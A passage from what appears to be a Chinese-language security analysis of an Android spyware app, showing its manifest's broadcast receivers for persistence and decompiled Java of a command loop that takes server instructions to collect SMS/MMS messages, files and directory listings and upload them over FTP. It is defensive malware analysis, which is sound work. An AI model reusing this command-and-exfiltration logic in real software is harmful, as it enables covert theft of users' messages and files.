                <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_CHANGED" />
                <action android:name="android.intent.action.PACKAGE_DATA_CLEARED" />
                <action android:name="android.intent.action.PACKAGE_INSTALL" />
                <action android:name="android.intent.action.PACKAGE_REMOVED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <action android:name="android.intent.action.PACKAGE_RESTARTED" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.PROVIDER_CHANGED" />
                <action android:name="android.intent.action.REBOOT" />
                <action android:name="android.intent.action.SCREEN_OFF" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <action android:name="android.intent.action.TIMEZONE_CHANGED" />
                <action android:name="android.intent.action.TIME_SET" />
                <action android:name="android.intent.action.TIME_TICK" />
                <action android:name="android.intent.action.UID_REMOVED" />
                <action android:name="android.intent.action.UMS_CONNECTED" />
                <action android:name="android.intent.action.UMS_DISCONNECTED" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="android.intent.action.WALLPAPER_CHANGED" />
                <action android:name="android.media.AUDIO_BECOMING_NOISY" />
                <action android:name="android.media.RINGER_MODE_CHANGED" />
                <action android:name="android.media.SCO_AUDIO_STATE_CHANGED" />
                <action android:name="android.media.VIBRATE_SETTING_CHANGED" />
                <action android:name="android.media.action.CLOSE_AUDIO_EFFECT_CONTROL_SESSION" />
                <action android:name="android.media.action.OPEN_AUDIO_EFFECT_CONTROL_SESSION" />
                <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
                <action android:name="android.net.wifi.NETWORK_IDS_CHANGED" />
                <action android:name="android.net.wifi.RSSI_CHANGED" />
                <action android:name="android.net.wifi.SCAN_RESULTS" />
                <action android:name="android.net.wifi.STATE_CHANGE" />
                <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
                <action android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
                <action android:name="android.net.wifi.supplicant.STATE_CHANGE" />
                <action android:name="android.provider.Telephony.SIM_FULL" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.provider.Telephony.SMS_REJECTED" />
                <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" />
                <action android:name="android.speech.tts.TTS_QUEUE_PROCESSING_COMPLETED" />
                <action android:name="android.speech.tts.engine.TTS_DATA_INSTALLED" />
            </intent-filter>
        </receiver>
        <receiver android:name=".AlarmReceiver" />
        <service android:name=".UploadService">
            <intent-filter>
                <action android:name="UploadService" />
            </intent-filter>
        </service>
        <activity android:theme="@*android:style/Theme.NoTitleBar" android:label="@string/swiftp_name" android:name=".ServerControlActivity" android:launchMode="singleInstance" android:screenOrientation="portrait">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
            </intent-filter>
        </activity>

  可以看到.StartService广播接收器注册了大量的系统广报，这样可以保证程序的长期运行。通过配置文件可以看出，该程序只有 .StartService一个程序入口点。

    2、分析程序代码

        恶意代码树如下：

  

         .StartService组件完成.UploadService服务启动，并调用HttpFileUploader.runInit方法，具体代码如下：

          

       

          .UploadService服务注册定时器启动.AlarmReceiver广播接收器，并保存注册结果到文件。具体代码如下：

        

          

         .AlarmReceiver和.StartService一样也会调用HttpFileUploader.runInit方法。具体代码如下：

          

         现在所有的分析工作都应该聚焦在HttpFileUploader.runInit方法。在分析的过程中不再对具体的方法进行进一步展开分析。

          

  public void runIt()
  {
    String str1 = getControls();//getControls()函数功能：连接服务器获取指令。指令格式为（第一行是命令行 第二行是需获取文件列表的路径名），函数返回值为命令，并保存路径名到this.path。
    String str2 = str1 + ":" + fetchListing(this.path, "", 0) + ":" + this.path; //fetchListing()函数功能：递归遍历this.path路径，获取该路径所有文件信息。
    if (str1.equals("clearFileList")) //如果命令为clearFileList，删除this.UPLOADFOLDER目录
      if (!getContextValue("Data.dat").equals("clearFileList"))
        delTempFolder(this.UPLOADFOLDER);
    while (true)
    {
      tryUpload();//ftp登录服务器端，并上传this.UPLOADFOLDER目录下所有文件
      return;
      if (str1.equals("getDir"))//如果命令为getDir,保存目录文件列表信息到this.UPLOADFOLDER的FileList.txt文件
      {
        if (getContextValue("Data.dat").equals(str2))
          continue;
        try
        {
          String str7 = "FileList.txt" + this.path.replace('/', '_');
          File localFile5 = new File(this.UPLOADFOLDER + str7);
          if (!localFile5.exists())
          {
            BufferedWriter localBufferedWriter3 = new BufferedWriter(new FileWriter(localFile5));
            localBufferedWriter3.write(str2);
            localBufferedWriter3.close();
          }
          setContextValue("Data.dat", str2);
        }
        catch (Exception localException3)
        {
        }
      }
      if (str1.equals("clearAlarm"))//重新设定定时器
      {
        if (getContextValue("Data.dat").equals("clearAlarm"))
          continue;
        setContextValue("alarmIsSet.dat", new String("Reset"));
      }
      if (str1.equals("getTexts"))//获取所有短息，彩信信息，并保存到this.UPLOADFOLDER目录中
      {
        if (getContextValue("Data.dat").equals("GotTexts"))
          continue;
        getTextHistory();
        setContextValue("Data.dat", "GotTexts");
      }
      if (str1.equals("getFile"))//copy相应文件到this.UPLOADFOLDER目录
      {
        if (getContextValue("Data.dat").equals("getFile" + this.path))
          continue;
        try
        {
          File localFile2 = new File(this.path);
          File localFile3 = new File(this.UPLOADFOLDER + localFile2.getName());
          if (!localFile3.exists())
          {
            copyToUploadFolder(localFile2);
            String str5 = getSize(localFile3.getAbsolutePath());
            String str6 = "SizeRet.txt" + this.path.replace('\\', '_');
            File localFile4 = new File(this.UPLOADFOLDER + str6);
            if (!localFile4.exists())
            {
              BufferedWriter localBufferedWriter2 = new BufferedWriter(new FileWriter(localFile4));
              localBufferedWriter2.write(str5);
              localBufferedWriter2.close();
            }
          }
          setContextValue("Data.dat", "getFile" + this.path);
        }
        catch (Exception localException2)
        {
        }
      }
      if ((!str1.equals("getSize")) || (getContextValue("Data.dat").equals("getSize" + this.path)))//获取相应文件大小。保存信息到this.UPLOADFOLDER目录中
        continue;
      try
      {
        String str3 = getSize(this.path);
        String str4 = "SizeRet.txt" + this.path.replace('\\', '_');
        File localFile1 = new File(this.UPLOADFOLDER + str4);
        if (!localFile1.exists());
        BufferedWriter localBufferedWriter1 = new BufferedWriter(new FileWriter(localFile1));
        localBufferedWriter1.write(str3);
        localBufferedWriter1.close();
      }
      catch (Exception localException1)
      {
      }
    }
  }

     通过分析，HttpFileUploader.runInit方法具体的工作就是连接服务器获取指令，然后把获取的信息以文件的形式存放到上传目录，并把上传目录的所有文件上传到ftp服务器

     通过ftp客户端登录服务器，可以看到已有大量感染该病毒用户的隐私信息被上传。

 通过访问该恶意站点，可以发现该站点还可以感染PC平台，它能够根据用户不同的操作系统下发不同的木马程序。攻击平台包括Windows, Mac and Unix/Linux。

四、相关链接

        http://blog.trustgo.com/fakelookout/
        http://www.cnbeta.com/articles/210425.htm